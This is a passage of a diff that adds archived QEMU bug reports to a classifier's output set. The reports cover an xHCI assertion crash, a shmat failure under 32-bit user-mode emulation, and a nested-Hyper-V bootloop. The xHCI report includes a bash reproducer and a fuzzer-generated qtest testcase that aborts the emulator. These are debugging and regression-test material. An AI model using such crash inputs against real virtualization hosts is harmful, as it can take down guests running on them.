CR_SET_TR_DEQUEUE, p 0x0000000000000000, s 0x00000000, c 0x00004300 +21000@1597111713.503135:usb_xhci_fetch_trb addr 0x0000000000000b40, CR_ENABLE_SLOT, p 0x0000000000000000, s 0x00000000, c 0x00002700 +21000@1597111713.503140:usb_xhci_slot_enable slotid 60 +21000@1597111713.503143:usb_xhci_fetch_trb addr 0x0000000000000b50, CR_EVALUATE_CONTEXT, p 0x0000000000000000, s 0x00000000, c 0x00003600 +21000@1597111713.503149:usb_xhci_fetch_trb addr 0x0000000000000b60, CR_STOP_ENDPOINT, p 0x0000000000000000, s 0x00000000, c 0x3afd3c00 +21000@1597111713.503154:usb_xhci_ep_stop slotid 58, epid 29 +21000@1597111713.503159:usb_xhci_ep_state slotid 58, epid 29, running -> stopped +21000@1597111713.503163:usb_xhci_fetch_trb addr 0x0000000000000b70, CR_ENABLE_SLOT, p 0x0000000000000000, s 0x00000000, c 0x00002700 +21000@1597111713.503168:usb_xhci_slot_enable slotid 61 +21000@1597111713.503171:usb_xhci_fetch_trb addr 0x0000000000000b80, CR_SET_TR_DEQUEUE, p 0x0000000000000000, s 0x00000000, c 0x3afd4300 +21000@1597111713.503177:usb_xhci_ep_set_dequeue slotid 58, epid 29, streamid 0, ptr 0x0000000000000000 +qemu-system-i386: hw/usb/hcd-xhci.c:1016: XHCIStreamContext *xhci_find_stream(XHCIEPContext *, unsigned int, uint32_t *): Assertion `streamid != 0' failed. +Aborted + + +Can you still reproduce this assertion with the latest version 6.0 of QEMU? ... I cannot trigger it here, so I assume this issue has been fixed? + +I don't think it is fixed yet.. This is https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=28571#c4 + +Bash Reproducer: +./qemu-system-i386 -display none -machine accel=qtest, -m 512M \ +-machine q35 -nodefaults -drive \ +file=null-co://,if=none,format=raw,id=disk0 -device qemu-xhci,id=xhci \ +-device usb-tablet,bus=xhci.0 -device usb-bot -device \ +usb-storage,drive=disk0 -chardev null,id=cd0 -chardev null,id=cd1 \ +-device usb-braille,chardev=cd0 -device usb-ccid -device usb-ccid \ +-device usb-kbd -device usb-mouse -device usb-serial,chardev=cd1 -device\ + usb-tablet -device usb-wacom-tablet -device usb-audio -qtest /dev/null \ +-qtest stdio < attachment + +Testcase: +/* + * Autogenerated Fuzzer Test Case + * + * Copyright (c) 2021 <name of author> + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + */ + +#include "qemu/osdep.h" + +#include "libqos/libqtest.h" + +static void test_fuzz(void) +{ + QTestState *s = qtest_init( + "-display none , -m 512M -machine q35 -nodefaults -drive " + "file=null-co://,if=none,format=raw,id=disk0 -device qemu-xhci,id=xhci -device " + "usb-tablet,bus=xhci.0 -device usb-bot -device usb-storage,drive=disk0 -chardev " + "null,id=cd0 -chardev null,id=cd1 -device usb-braille,chardev=cd0 -device " + "usb-ccid -device usb-ccid -device usb-kbd -device usb-mouse -device " + "usb-serial,chardev=cd1 -device usb-tablet -device usb-wacom-tablet -device " + "usb-audio -qtest /dev/null"); + qtest_outl(s, 0xcf8, 0x80000816); + qtest_outl(s, 0xcfc, 0xffff); + qtest_outl(s, 0xcf8, 0x80000803); + qtest_outl(s, 0xcfc, 0x0600); + qtest_outl(s, 0xcf8, 0x80000810); + qtest_outl(s, 0xcfc, 0x2e654000); + qtest_writel(s, 0xffff00002e654040, 0xffffff05); + qtest_bufwrite(s, 0x4d, "\x04", 0x1); + qtest_bufwrite(s, 0x5d, "\x04", 0x1); + qtest_bufwrite(s, 0x6d, "\x04", 0x1); + qtest_bufwrite(s, 0x7d, "\x04", 0x1); + qtest_bufwrite(s, 0x8d, "\x04", 0x1); + qtest_bufwrite(s, 0x9d, "\x04", 0x1); + qtest_bufwrite(s, 0xad, "\x04", 0x1); + qtest_bufwrite(s, 0xbd, "\x04", 0x1); + qtest_bufwrite(s, 0xcd, "\x04", 0x1); + qtest_bufwrite(s, 0xdd, "\x04", 0x1); + qtest_bufwrite(s, 0xed, "\x04", 0x1); + qtest_bufwrite(s, 0xfd, "\x04", 0x1); + qtest_bufwrite(s, 0x10d, "\x04", 0x1); + qtest_bufwrite(s, 0x11d, "\x04", 0x1); + qtest_bufwrite(s, 0x12d, "\x04", 0x1); + qtest_bufwrite(s, 0x13d, "\x04", 0x1); + qtest_bufwrite(s, 0x14d, "\x04", 0x1); + qtest_bufwrite(s, 0x15d, "\x04", 0x1); + qtest_bufwrite(s, 0x16d, "\x04", 0x1); + qtest_bufwrite(s, 0x17d, "\x04", 0x1); + qtest_bufwrite(s, 0x18d, "\x04", 0x1); + qtest_bufwrite(s, 0x19d, "\x04", 0x1); + qtest_bufwrite(s, 0x1ad, "\x04", 0x1); + qtest_bufwrite(s, 0x1bd, "\x04", 0x1); + qtest_bufwrite(s, 0x1cd, "\x04", 0x1); + qtest_bufwrite(s, 0x1dd, "\x04", 0x1); + qtest_bufwrite(s, 0x1ed, "\x04", 0x1); + qtest_bufwrite(s, 0x1fd, "\x04", 0x1); + qtest_bufwrite(s, 0x20d, "\x04", 0x1); + qtest_bufwrite(s, 0x21d, "\x04", 0x1); + qtest_bufwrite(s, 0x22d, "\x04", 0x1); + qtest_bufwrite(s, 0x23d, "\x04", 0x1); + qtest_bufwrite(s, 0x24d, "\x04", 0x1); + qtest_bufwrite(s, 0x25d, "\x04", 0x1); + qtest_bufwrite(s, 0x26d, "\x04", 0x1); + qtest_bufwrite(s, 0x27d, "\x04", 0x1); + qtest_bufwrite(s, 0x28d, "\x04", 0x1); + qtest_bufwrite(s, 0x29d, "\x04", 0x1); + qtest_bufwrite(s, 0x2ad, "\x04", 0x1); + qtest_bufwrite(s, 0x2bd, "\x04", 0x1); + qtest_bufwrite(s, 0x2cd, "\x04", 0x1); + qtest_bufwrite(s, 0x2dd, "\x04", 0x1); + qtest_bufwrite(s, 0x2ed, "\x04", 0x1); + qtest_bufwrite(s, 0x2fd, "\x04", 0x1); + qtest_bufwrite(s, 0x30d, "\x04", 0x1); + qtest_bufwrite(s, 0x31d, "\x04", 0x1); + qtest_bufwrite(s, 0x32d, "\x04", 0x1); + qtest_bufwrite(s, 0x33d, "\x04", 0x1); + qtest_bufwrite(s, 0x34d, "\x04", 0x1); + qtest_bufwrite(s, 0x35d, "\x04", 0x1); + qtest_bufwrite(s, 0x36d, "\x04", 0x1); + qtest_bufwrite(s, 0x37d, "\x04", 0x1); + qtest_bufwrite(s, 0x38d, "\x04", 0x1); + qtest_bufwrite(s, 0x39d, "\x04", 0x1); + qtest_bufwrite(s, 0x3ad, "\x04", 0x1); + qtest_bufwrite(s, 0x3bd, "\x04", 0x1); + qtest_bufwrite(s, 0x3cd, "\x04", 0x1); + qtest_bufwrite(s, 0x3dd, "\x04", 0x1); + qtest_bufwrite(s, 0x3ed, "\x04", 0x1); + qtest_bufwrite(s, 0x3fd, "\x04", 0x1); + qtest_bufwrite(s, 0x40d, "\x04", 0x1); + qtest_bufwrite(s, 0x41d, "\x04", 0x1); + qtest_bufwrite(s, 0x42d, "\x04", 0x1); + qtest_bufwrite(s, 0x43d, "\x04", 0x1); + qtest_bufwrite(s, 0x44d, "\x04", 0x1); + qtest_bufwrite(s, 0x45d, "\x04", 0x1); + qtest_bufwrite(s, 0x46d, "\x04", 0x1); + qtest_bufwrite(s, 0x47d, "\x04", 0x1); + qtest_bufwrite(s, 0x48d, "\x04", 0x1); + qtest_bufwrite(s, 0x49d, "\x04", 0x1); + qtest_bufwrite(s, 0x4ad, "\x04", 0x1); + qtest_bufwrite(s, 0x4bd, "\x04", 0x1); + qtest_bufwrite(s, 0x4cd, "\x04", 0x1); + qtest_bufwrite(s, 0x4dd, "\x04", 0x1); + qtest_bufwrite(s, 0x4ed, "\x04", 0x1); + qtest_bufwrite(s, 0x4fd, "\x04", 0x1); + qtest_bufwrite(s, 0x50d, "\x04", 0x1); + qtest_bufwrite(s, 0x51d, "\x04", 0x1); + qtest_bufwrite(s, 0x52d, "\x04", 0x1); + qtest_bufwrite(s, 0x53d, "\x04", 0x1); + qtest_bufwrite(s, 0x54d, "\x04", 0x1); + qtest_bufwrite(s, 0x55d, "\x04", 0x1); + qtest_bufwrite(s, 0x56d, "\x04", 0x1); + qtest_bufwrite(s, 0x57d, "\x04", 0x1); + qtest_bufwrite(s, 0x58d, "\x04", 0x1); + qtest_bufwrite(s, 0x59d, "\x04", 0x1); + qtest_bufwrite(s, 0x5ad, "\x04", 0x1); + qtest_bufwrite(s, 0x5bd, "\x04", 0x1); + qtest_bufwrite(s, 0x5cd, "\x04", 0x1); + qtest_bufwrite(s, 0x5dd, "\x04", 0x1); + qtest_bufwrite(s, 0x5ed, "\x04", 0x1); + qtest_bufwrite(s, 0x5fd, "\x04", 0x1); + qtest_bufwrite(s, 0x60d, "\x04", 0x1); + qtest_bufwrite(s, 0x61d, "\x04", 0x1); + qtest_bufwrite(s, 0x62d, "\x04", 0x1); + qtest_bufwrite(s, 0x63d, "\x04", 0x1); + qtest_bufwrite(s, 0x64d, "\x04", 0x1); + qtest_bufwrite(s, 0x65d, "\x04", 0x1); + qtest_bufwrite(s, 0x66d, "\x04", 0x1); + qtest_bufwrite(s, 0x67d, "\x04", 0x1); + qtest_bufwrite(s, 0x68d, "\x04", 0x1); + qtest_bufwrite(s, 0x69d, "\x04", 0x1); + qtest_bufwrite(s, 0x6ad, "\x04", 0x1); + qtest_bufwrite(s, 0x6bd, "\x04", 0x1); + qtest_bufwrite(s, 0x6cd, "\x04", 0x1); + qtest_bufwrite(s, 0x6dd, "\x04", 0x1); + qtest_bufwrite(s, 0x6ed, "\x04", 0x1); + qtest_bufwrite(s, 0x6fd, "\x04", 0x1); + qtest_bufwrite(s, 0x70d, "\x04", 0x1); + qtest_bufwrite(s, 0x71d, "\x04", 0x1); + qtest_bufwrite(s, 0x72d, "\x04", 0x1); + qtest_bufwrite(s, 0x73d, "\x04", 0x1); + qtest_bufwrite(s, 0x74d, "\x04", 0x1); + qtest_bufwrite(s, 0x75d, "\x04", 0x1); + qtest_bufwrite(s, 0x76d, "\x04", 0x1); + qtest_bufwrite(s, 0x77d, "\x04", 0x1); + qtest_bufwrite(s, 0x78d, "\x04", 0x1); + qtest_bufwrite(s, 0x79d, "\x04", 0x1); + qtest_bufwrite(s, 0x7ad, "\x04", 0x1); + qtest_bufwrite(s, 0x7bd, "\x04", 0x1); + qtest_bufwrite(s, 0x7cd, "\x04", 0x1); + qtest_bufwrite(s, 0x7dd, "\x04", 0x1); + qtest_bufwrite(s, 0x7ed, "\x04", 0x1); + qtest_bufwrite(s, 0x7fd, "\x04", 0x1); + qtest_bufwrite(s, 0x80d, "\x04", 0x1); + qtest_bufwrite(s, 0x81d, "\x04", 0x1); + qtest_bufwrite(s, 0x82d, "\x04", 0x1); + qtest_bufwrite(s, 0x83d, "\x04", 0x1); + qtest_bufwrite(s, 0x84d, "\x04", 0x1); + qtest_bufwrite(s, 0x85d, "\x04", 0x1); + qtest_bufwrite(s, 0x86d, "\x04", 0x1); + qtest_bufwrite(s, 0x87d, "\x04", 0x1); + qtest_bufwrite(s, 0x88d, "\x04", 0x1); + qtest_bufwrite(s, 0x89d, "\x04", 0x1); + qtest_bufwrite(s, 0x8ad, "\x04", 0x1); + qtest_bufwrite(s, 0x8bd, "\x04", 0x1); + qtest_bufwrite(s, 0x8cd, "\x04", 0x1); + qtest_bufwrite(s, 0x8dd, "\x04", 0x1); + qtest_bufwrite(s, 0x8ed, "\x04", 0x1); + qtest_bufwrite(s, 0x8fd, "\x04", 0x1); + qtest_bufwrite(s, 0x90d, "\x04", 0x1); + qtest_bufwrite(s, 0x91d, "\x04", 0x1); + qtest_bufwrite(s, 0x92d, "\x04", 0x1); + qtest_bufwrite(s, 0x93d, "\x04", 0x1); + qtest_bufwrite(s, 0x94d, "\x04", 0x1); + qtest_bufwrite(s, 0x95d, "\x04", 0x1); + qtest_bufwrite(s, 0x96d, "\x04", 0x1); + qtest_bufwrite(s, 0x97d, "\x04", 0x1); + qtest_bufwrite(s, 0x98d, "\x04", 0x1); + qtest_bufwrite(s, 0x99d, "\x04", 0x1); + qtest_bufwrite(s, 0x9ad, "\x04", 0x1); + qtest_bufwrite(s, 0x9bd, "\x04", 0x1); + qtest_bufwrite(s, 0x9cd, "\x04", 0x1); + qtest_bufwrite(s, 0x9dd, "\x04", 0x1); + qtest_bufwrite(s, 0x9ed, "\x04", 0x1); + qtest_bufwrite(s, 0x9fd, "\x04", 0x1); + qtest_bufwrite(s, 0xa0d, "\x04", 0x1); + qtest_bufwrite(s, 0xa1d, "\x04", 0x1); + qtest_bufwrite(s, 0xa2d, "\x04", 0x1); + qtest_bufwrite(s, 0xa3d, "\x04", 0x1); + qtest_bufwrite(s, 0xa4d, "\x04", 0x1); + qtest_bufwrite(s, 0xa5d, "\x04", 0x1); + qtest_bufwrite(s, 0xa6d, "\x04", 0x1); + qtest_bufwrite(s, 0xa7d, "\x04", 0x1); + qtest_bufwrite(s, 0xa8d, "\x04", 0x1); + qtest_bufwrite(s, 0xa9d, "\x04", 0x1); + qtest_bufwrite(s, 0xaad, "\x04", 0x1); + qtest_bufwrite(s, 0xabd, "\x04", 0x1); + qtest_bufwrite(s, 0xacd, "\x04", 0x1); + qtest_bufwrite(s, 0xadd, "\x04", 0x1); + qtest_bufwrite(s, 0xaed, "\x04", 0x1); + qtest_bufwrite(s, 0xafd, "\x04", 0x1); + qtest_bufwrite(s, 0xb0d, "\x04", 0x1); + qtest_bufwrite(s, 0xb1d, "\x04", 0x1); + qtest_bufwrite(s, 0xb2d, "\x04", 0x1); + qtest_bufwrite(s, 0xb3d, "\x04", 0x1); + qtest_bufwrite(s, 0xb4d, "\x04", 0x1); + qtest_bufwrite(s, 0xb5d, "\x04", 0x1); + qtest_bufwrite(s, 0xb6d, "\x04", 0x1); + qtest_bufwrite(s, 0xb7d, "\x04", 0x1); + qtest_bufwrite(s, 0xb8d, "\x04", 0x1); + qtest_bufwrite(s, 0xb9d, "\x04", 0x1); + qtest_bufwrite(s, 0xbad, "\x04", 0x1); + qtest_bufwrite(s, 0xbbd, "\x04", 0x1); + qtest_bufwrite(s, 0xbcd, "\x04", 0x1); + qtest_bufwrite(s, 0xbdd, "\x04", 0x1); + qtest_bufwrite(s, 0xbed, "\x04", 0x1); + qtest_bufwrite(s, 0xbfd, "\x04", 0x1); + qtest_bufwrite(s, 0xc0d, "\x04", 0x1); + qtest_bufwrite(s, 0xc1d, "\x04", 0x1); + qtest_bufwrite(s, 0xc2d, "\x04", 0x1); + qtest_bufwrite(s, 0xc3d, "\x04", 0x1); + qtest_bufwrite(s, 0xc4d, "\x04", 0x1); + qtest_bufwrite(s, 0xc5d, "\x04", 0x1); + qtest_bufwrite(s, 0xc6d, "\x04", 0x1); + qtest_bufwrite(s, 0xc7d, "\x04", 0x1); + qtest_bufwrite(s, 0xc8d, "\x04", 0x1); + qtest_bufwrite(s, 0xc9d, "\x04", 0x1); + qtest_bufwrite(s, 0xcad, "\x04", 0x1); + qtest_bufwrite(s, 0xcbd, "\x04", 0x1); + qtest_bufwrite(s, 0xccd, "\x04", 0x1); + qtest_bufwrite(s, 0xcdd, "\x04", 0x1); + qtest_bufwrite(s, 0xced, "\x04", 0x1); + qtest_bufwrite(s, 0xcfd, "\x04", 0x1); + qtest_bufwrite(s, 0xd0d, "\x04", 0x1); + qtest_bufwrite(s, 0xd1d, "\x04", 0x1); + qtest_bufwrite(s, 0xd2d, "\x04", 0x1); + qtest_bufwrite(s, 0xd3d, "\x04", 0x1); + qtest_bufwrite(s, 0xd4d, "\x04", 0x1); + qtest_bufwrite(s, 0xd5d, "\x04", 0x1); + qtest_bufwrite(s, 0xd6d, "\x04", 0x1); + qtest_bufwrite(s, 0xd7d, "\x04", 0x1); + qtest_bufwrite(s, 0xd8d, "\x04", 0x1); + qtest_bufwrite(s, 0xd9d, "\x04", 0x1); + qtest_bufwrite(s, 0xdad, "\x04", 0x1); + qtest_bufwrite(s, 0xdbd, "\x04", 0x1); + qtest_bufwrite(s, 0xdcd, "\x04", 0x1); + qtest_bufwrite(s, 0xddd, "\x04", 0x1); + qtest_bufwrite(s, 0xded, "\x04", 0x1); + qtest_bufwrite(s, 0xdfd, "\x04", 0x1); + qtest_bufwrite(s, 0xe0d, "\x04", 0x1); + qtest_bufwrite(s, 0xe1d, "\x04", 0x1); + qtest_bufwrite(s, 0xe2d, "\x04", 0x1); + qtest_bufwrite(s, 0xe3d, "\x04", 0x1); + qtest_bufwrite(s, 0xe4d, "\x04", 0x1); + qtest_bufwrite(s, 0xe5d, "\x04", 0x1); + qtest_bufwrite(s, 0xe6d, "\x04", 0x1); + qtest_bufwrite(s, 0xe7d, "\x04", 0x1); + qtest_bufwrite(s, 0xe8d, "\x04", 0x1); + qtest_bufwrite(s, 0xe9d, "\x04", 0x1); + qtest_bufwrite(s, 0xead, "\x04", 0x1); + qtest_bufwrite(s, 0xebd, "\x04", 0x1); + qtest_bufwrite(s, 0xecd, "\x04", 0x1); + qtest_bufwrite(s, 0xedd, "\x04", 0x1); + qtest_bufwrite(s, 0xeed, "\x04", 0x1); + qtest_bufwrite(s, 0xefd, "\x04", 0x1); + qtest_bufwrite(s, 0xf0d, "\x04", 0x1); + qtest_bufwrite(s, 0xf1d, "\x04", 0x1); + qtest_bufwrite(s, 0xf2d, "\x04", 0x1); + qtest_bufwrite(s, 0xf3d, "\x04", 0x1); + qtest_bufwrite(s, 0xf4d, "\x04", 0x1); + qtest_bufwrite(s, 0xf5d, "\x04", 0x1); + qtest_bufwrite(s, 0xf6d, "\x04", 0x1); + qtest_bufwrite(s, 0xf7d, "\x04", 0x1); + qtest_bufwrite(s, 0xf8d, "\x04", 0x1); + qtest_bufwrite(s, 0xf9d, "\x04", 0x1); + qtest_bufwrite(s, 0xfad, "\x04", 0x1); + qtest_bufwrite(s, 0xfbd, "\x04", 0x1); + qtest_bufwrite(s, 0xfcd, "\x04", 0x1); + qtest_bufwrite(s, 0xfdd, "\x04", 0x1); + qtest_bufwrite(s, 0xfed, "\x24", 0x1); + qtest_bufwrite(s, 0xffd, "\x24", 0x1); + qtest_bufwrite(s, 0x100d, "\x24", 0x1); + qtest_bufwrite(s, 0x101d, "\x24", 0x1); + qtest_bufwrite(s, 0x102d, "\x24", 0x1); + qtest_bufwrite(s, 0x1041, "\x6d", 0x1); + qtest_bufwrite(s, 0x104d, "\x2c", 0x1); + qtest_bufwrite(s, 0x104f, "\x05", 0x1); + qtest_writel(s, 0xffff00002e656000, 0x0); + qtest_writel(s, 0xffff00002e656000, 0x0); + qtest_writel(s, 0xffff00002e656000, 0x0); + qtest_writel(s, 0xffff00002e656000, 0x0); + qtest_bufwrite(s, 0x6d04, "\x03", 0x1); + qtest_bufwrite(s, 0x6d26, "\x04", 0x1); + qtest_bufwrite(s, 0x6d41, "\x04", 0x1); + qtest_writel(s, 0xffff00002e656000, 0x0); + qtest_writel(s, 0xffff00002e656000, 0x0); + qtest_bufwrite(s, 0xffff00002e656014, "\x01\x00\x00\x00", 0x4); + qtest_quit(s); +} +int main(int argc, char **argv) +{ + const char *arch = qtest_get_arch(); + + g_test_init(&argc, &argv, NULL); + + if (strcmp(arch, "i386") == 0) { + qtest_add_func("fuzz/test_fuzz", test_fuzz); + } + + return g_test_run(); +} + + + + +Ok, with the new attachment from comment #5, I can also reporoduce the bug again. It does not reproduce with the attachments from comment #1 or #2 anymore, so this now seems to be a different way to run into this assert. Anyway, setting the status back to Confirmed since it is reproducible again. + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/273 + + diff --git a/results/classifier/deepseek-1/output/environments./1462640 b/results/classifier/deepseek-1/output/environments./1462640 new file mode 100644 index 00000000..d294ae55 --- /dev/null +++ b/results/classifier/deepseek-1/output/environments./1462640 @@ -0,0 +1,144 @@ + +shmat fails on 32-to-64 setup + + +I am trying to run a guest mips32 program (user mode) on a x86_64 host. The program fails on a call to shmat() reproducibly. when digging into this problem, I could make a small guest POC that fails when compiled as i386 (-m32) running on a x86_64 host, but pass when compiled as 64bit. The problem has to do with mmap flags. + +From what I can understand, when running 32bits guests programs, qemu reserve the whole guest virtual space with an mmap call. That mmap call specifys MAP:PRIVATE flag. When shmat is called, it tries to make part of that region MAP_SHARED and that fails. + +As a possible fix, it looks like it is possible to first unmap the shm region before calling shmat. + +steps to reproduce: +1 - create a file shm.c with content below +2 - compile with: gcc -m32 shm.c -o shm32 +3 - run on a x86_64 host: qemu-i386 ./shm32 +4 - observe shmat fails, by returning ptr -1 + +5- compile without -m32: : gcc shm.c -o shm64 +6 - observe it pass: qemu-x84_64 ./shm64 + + + +#include <sys/ipc.h> +#include <sys/shm.h> +#include <sys/mman.h> +#include <stdio.h> + +int main() +{ + struct shmid_ds shm_desc; + int err = 0; + int id = shmget(IPC_PRIVATE, 688128, IPC_CREAT|IPC_EXCL|0666); + err = shmctl(id, IPC_STAT, &shm_desc); + const void *at = 0x7f7df38ea000; + void* ptr = shmat(id, at, 0); + printf( "got err %d, ptr %p\n", err, ptr ); +} + +Which version of QEMU did you use here? Does it still reproduce with the latest version of QEMU? + +[Expired for QEMU because there has been no activity for 60 days.] + +I can confirm that this bug still exists in the current qemu master (short commit ID 0050f9978e): + +~/qemu$ gcc -m32 shm_bug.c -o shm_bug32 +shm_bug.c: In function ‘main’: +shm_bug.c:12:24: warning: initialization makes pointer from integer without a cast [-Wint-conversion] + const void *at = 0x7f7df38ea000; + ^~~~~~~~~~~~~~ +~/qemu$ i386-linux-user/qemu-i386 ./shm_bug32 +got err 0, ptr 0xffffffff +ari@ari-thinkpad:~/qemu$ gcc shm_bug.c -o shm_bug64 +shm_bug.c: In function ‘main’: +shm_bug.c:12:24: warning: initialization makes pointer from integer without a cast [-Wint-conversion] + const void *at = 0x7f7df38ea000; + ^~~~~~~~~~~~~~ +~/qemu$ x86_64-linux-user/qemu-x86_64 ./shm_bug64 +got err 0, ptr 0x7f7df38ea000 +ari@ari-thinkpad:~/qemu$ + +Additionally, running each executable directly on a 64-bit Ubuntu 18.04 system, we can see that the behavior of the 32-bit binary differs between qemu-i386 and native, while that of the 64-bit binary does not: + +~/qemu$ ./shm_bug32 +got err 0, ptr 0xf38ea000 +~/qemu$ ./shm_bug64 +got err 0, ptr 0x7f7df38ea000 +~/qemu$ + + +Erm isn't your 64bit pointer being truncated when you build for 32 bit? + +Yes, that is correct, but the behavior is still different between "native" execution and execution through qemu-i386. Changing the pointer to be initialized with 0xf38ea000 (essentially truncating it manually) does not change anything: + +~/qemu$ gcc -m32 shm_bug.c -o shm_bug32 +shm_bug.c: In function ‘main’: +shm_bug.c:13:24: warning: initialization makes pointer from integer without a cast [-Wint-conversion] + const void *at = 0xf38ea000; + ^~~~~~~~~~ +~/qemu$ ./shm_bug32 +got err 0, ptr 0xf38ea000 +~/qemu$ i386-linux-user/qemu-i386 ./shm_bug32 +got err 0, ptr 0xffffffff +~/qemu$ + + +Here's the end of strace output for running through qemu-i386: + +shmget(IPC_PRIVATE, 688128, IPC_CREAT|IPC_EXCL|0666) = 72810572 +shmctl(72810572, IPC_STAT, {shm_perm={uid=1000, gid=1000, mode=0666, key=0, cuid=1000, cgid=1000}, shm_segsz=688128, shm_cpid=10438, shm_lpid=0, shm_nattch=0, shm_atime=0, shm_dtime=0, shm_ctime=1562340468}) = 0 +shmctl(72810572, IPC_STAT, {shm_perm={uid=1000, gid=1000, mode=0666, key=0, cuid=1000, cgid=1000}, shm_segsz=688128, shm_cpid=10438, shm_lpid=0, shm_nattch=0, shm_atime=0, shm_dtime=0, shm_ctime=1562340468}) = 0 +shmat(72810572, 0x7f27138eb000, 0) = -1 EINVAL (Invalid argument) +fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 12), ...}) = 0 +mmap(0x7f271f46d000, 1048576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f271f46d000 +write(1, "got err 0, ptr 0xffffffff\n", 26got err 0, ptr 0xffffffff +) = 26 +exit_group(0) = ? ++++ exited with 0 +++ +~/qemu$ + + +For comparison, the strace output when running natively: + +shmget(IPC_PRIVATE, 688128, IPC_CREAT|IPC_EXCL|0666) = 72843341 +shmctl(72843341, IPC_64|IPC_STAT, {shm_perm={uid=1000, gid=1000, mode=0666, key=0, cuid=1000, cgid=1000}, shm_segsz=688128, shm_cpid=10883, shm_lpid=0, shm_nattch=0, shm_atime=0, shm_dtime=0, shm_ctime=1562340846}) = 0 +shmat(72843341, 0xf38ea000, 0) = 0xf38ea000 +fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 12), ...}) = 0 +brk(NULL) = 0x58069000 +brk(0x5808a000) = 0x5808a000 +brk(0x5808b000) = 0x5808b000 +write(1, "got err 0, ptr 0xf38ea000\n", 26got err 0, ptr 0xf38ea000 +) = 26 +exit_group(0) = ? ++++ exited with 0 +++ +~/qemu$ + +I think analysis in comment #1 is correct: If I use "shmat(id, at, SHM_REMAP)" it works. + + +Mapping an arbitrary address in the memory takes the risk to have this address already in use by the loader or a library. +Where does this address come from? +Why the qemu-mips program doesn't call shmat() with NULL? + +It's no less reasonable than doing an mmap() with a fixed address -- if the application knows what it's doing then it's fine. It's just that it bumps into our internal implementation details of (a) doing an mmap to reserve the full 32-bit space we want to allow the guest to do and (b) just passing guest mappings through to the kernel rather than tracking ourselves what memory the guest has allocated (which would allow us to implement the SHM_REMAP vs no-remap ourselves, modulo race conditions between threads). + +(b) also prevents us from implementing the memory-related rlimits correctly, incidentally. + + +Right. I'd also like to point out that I carried out some additional experiments using variations of the program in the issue description, with bizarre results, mips64. I changed the value of the pointer to 0x7f7df38c0000 to increase the alignment a bit and then did the following experiments: +1) shmat(id, 0x7f7df38c0000, 0) fails, returning 0xffffffffffffffff, errno == 22 (EINVAL) +2) shmat(id, 0x7f7df38c0000, SHM_REMAP) fails, returning 0xffffffffffffffff, errno == 22 (EINVAL) +3) shmat(id, 0x7f7df38c0000, SHM_RND) succeeds. Additionally, the return value is exactly the pointer value passed to the host shmat(), that is, 0x7f7df38c0000. + +The following thing bothers me: +With flags set to 0, the address 0x7f7df38c0000 is rejected. This could have been an alignment problem, but the call actually succeeds when the flags are set to SHM_RND (to align the returned address properly), with the pointer value remaining the same. + +This looks bizarre to me, no matter the way you look at it. + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/115 + + diff --git a/results/classifier/deepseek-1/output/environments./1908489 b/results/classifier/deepseek-1/output/environments./1908489 new file mode 100644 index 00000000..73fb819b --- /dev/null +++ b/results/classifier/deepseek-1/output/environments./1908489 @@ -0,0 +1,135 @@ + +qemu 4.2 bootloops with -cpu host and nested hypervisor + +I've noticed that after upgrading from Ubuntu 18.04 to 20.04 that nested virtualization isn't working anymore. + +I have a simple repro where I create a Windows 10 2004 guest and enable Hyper-V in it. This worked fine in 18.04 and specifically qemu <4.2 (I specifically tested Qemu 2.11-4.1 which work fine). + +The -cpu arg I'm passing is simply: + -cpu host,l3-cache=on,hv_relaxed,hv_spinlocks=0x1fff,hv_vapic,hv_time + +Using that Windows won't boot because the nested hypervisor (Hyper-V) is unable to be initialize and so it just boot loops. Using the exact same qemu command works fine with 4.1 and lower. + +Switching to a named CPU model like Skylake-Client-noTSX-IBRS instead of host lets the VM boot but causes some weird behaviour later trying to use nested VMs. + +If I had to guess I think it would probably be related to this change https://github.com/qemu/qemu/commit/20a78b02d31534ae478779c2f2816c273601e869 which would line up with 4.2 being the first bad version but unsure. + +For now I just have to keep an older build of QEMU to work around this. Let me know if there's anything else needed. I can also try out any patches. I already have at least a dozen copies of qemu lying around now. + + + + + +Ok, after bisect between stable-4.1 and stable-4.2 I did confirm that https://github.com/qemu/qemu/commit/20a78b02d31534ae478779c2f2816c273601e869 is the first bad commit. + +The full qemu command line is: + +qemu-system-x86_64 \ + -name guest=test,debug-threads=on \ + -serial none \ + -enable-kvm \ + -nodefaults \ + -no-user-config \ + -M q35,accel=kvm,kernel_irqchip=on,mem-merge=off \ + -m 8192 -mem-prealloc -no-hpet \ + -cpu host,kvm=off,l3-cache=on,hv_relaxed,hv_spinlocks=0x1fff,hv_vapic,hv_time \ + -smp 8,sockets=1,cores=4,threads=2 \ + -global kvm-pit.lost_tick_policy=discard \ + -rtc base=localtime \ + -boot order=c \ + -usb \ + -device pcie-root-port,bus=pcie.0,id=root_port1,chassis=0,slot=0 \ + -device vfio-pci,host=01:00.0,id=hostdev1,bus=root_port1,addr=0x00,multifunction=on \ + -device vfio-pci,host=01:00.1,id=hostdev2,bus=root_port1,addr=0x00.1 \ + -drive if=pflash,format=raw,readonly,file=OVMF_CODE.fd \ + -drive if=pflash,format=raw,file=OVMF_VARS.fd \ + -drive if=none,id=drivec,file=disk.img,format=qcow2,cache=none,aio=threads \ + -object iothread,id=iothread1 \ + -device virtio-blk-pci,drive=drivec,scsi=off,iothread=iothread1 \ + -monitor unix:/tmp/monitor.sock,server,nowait \ + -device virtio-mouse-pci,id=input0 \ + -device virtio-keyboard-pci,id=input1 \ + -object input-linux,id=kbd1,evdev=/dev/input/by-id/xxxxxxx,grab_all=yes,repeat=on \ + -object input-linux,id=mouse1,evdev=/dev/input/by-id/xxxxxx \ + -netdev tap,ifname=vnet,id=net0,script=no,downscript=no \ + -device e1000,netdev=net0 + + + +Ok, so I narrowed done one possible issue: the BNDCFGS bits in the vm entry/exit control MSRs are not set but HyperV expects them to be set if xsave is supported. This quick patch actually lets Hyper-V 